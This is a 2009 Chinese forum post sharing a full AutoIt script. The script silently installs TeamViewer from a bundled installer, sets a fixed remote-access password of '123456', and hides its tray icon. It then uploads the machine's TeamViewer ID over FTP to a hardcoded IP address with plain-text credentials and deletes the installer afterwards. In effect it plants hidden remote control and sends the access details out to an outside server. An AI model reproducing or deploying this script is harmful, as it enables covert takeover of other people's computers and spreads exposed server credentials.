别客气,四海之内皆兄弟!能力之内,定必义不容辞!
顺便把完整代码发上来分享一下
#NoTrayIcon
#Include <GuiToolBar.au3>;托盘图标udf函数
#Include <FTP.au3>;所需的udf函数,用于文件上传
FileInstall("ID.txt", @TempDir & "\ID.txt") ;将txt包装到程序中并运行时txt释放到临时文件夹
FileInstall("TeamViewer.exe", @TempDir & "\TeamViewer.exe") ;将exe包装到程序中并运行时exe释放到临时文件夹
FileInstall('ID.txt', @SystemDir & '\ID.txt')
RunWait(@TempDir & "\TeamViewer.exe") ;运行exe文件
$hd="TeamViewer 4 Setup";自定义字符串
WinWaitActive($hd,"Welcome to TeamViewer ");等待目标窗口启动
send("!n");点击下一步
WinWaitActive($hd,"Environment")
ControlClick($hd,"Environment","Button6") ;选择安装模式
send("!n");点击下一步
WinWaitActive($hd,"License Agreement")
send("{TAB}{SPACE}");接受协议
send("!n");点击下一步
WinWaitActive($hd,"Choose installation type")
ControlClick($hd,"Choose installation type","Button5")
ControlSetText($hd,"Choose installation type", "Edit1", "123456");输入密码
ControlSetText($hd,"Choose installation type", "Edit2", "123456");再次输入密码
send("!n");点击下一步
WinWaitActive($hd,"&Finish");程序安装完毕
send("{enter}");完全安装
Sleep(5000)
_SysTray_ClickItem("TeamViewer", "left", 2)
If @error Then MsgBox(48, "Failure", "Required item not found");激活托盘图标函数
Func _SysTray_ClickItem($iTitle, $iButton = "left", $iClick = 1, $sMove = False, $iSpeed = 1)
Local $hToolbar, $iButCount, $aRect, $hButton, $cID, $i
$hToolbar = ControlGetHandle("[Class:Shell_TrayWnd]", "", "[Class:ToolbarWindow32;Instance:1]")
If @error Then
Return SetError(1, 0, 0)
EndIf
$iButCount = _GUICtrlToolbar_ButtonCount($hToolbar)
If $iButCount = 0 Then
Return SetError(1, 0, 0)
EndIf
$hButton = ControlGetHandle("[Class:Shell_TrayWnd]", "", "Button2")
If $hButton <> "" Then ControlClick("[Class:Shell_TrayWnd]", "", "Button2")
For $i = 0 To $iButCount - 1
$cID = _GUICtrlToolbar_IndexToCommand($hToolBar, $i)
If StringInStr(_GUICtrlToolbar_GetButtonText($hToolBar, $cID), $iTitle) Then
_GUICtrlToolbar_ClickButton($hToolbar, $cID, $iButton, $sMove, $iClick, $iSpeed)
Return 1
EndIf
Next
Return SetError(1, 0, 0)
EndFunc
WinWaitActive("TeamViewer","ID")
$ID = ControlGetText ( "TeamViewer", "ID", "Edit2")
$file = FileOpen(@SystemDir & "\ID.txt", 2);打开文本
FileWriteLine($file, $ID);写入ID
FileClose($file);关闭文本
$dll = DllOpen('wininet.dll')
$server = '221.195.4.38'
$username = 'pc.cq-itserv.cn'
$pass = 'pc.cq-itserv.cn'
$Open = _FTPOpen('MyFTP Control')
$Conn = _FTPConnect($Open, $server, $username, $pass)
$Ftpp = _FtpPutFile($Conn, 'C:\WINDOWS\system32\ID.txt', '007.txt');上传指定路径文本
$Ftpc = _FTPClose($Open)
DllClose($dll)
Sleep(1000)
ProcessExists ("TeamViewer.exe") ;查找进程
ProcessClose ("TeamViewer.exe");关闭进程
If ProcessWaitClose(@TempDir& "\TeamViewer.exe") Then
FileDelete(@TempDir & "\TeamViewer.exe") ;如果exe文件运行完了以后就删除文件
Exit
EndIf ;结束该段脚本
MsgBox(64,"提示:","~OVER~")
[ 本帖最后由 lynfr8 于 2009-4-15 22:25 编辑 ] |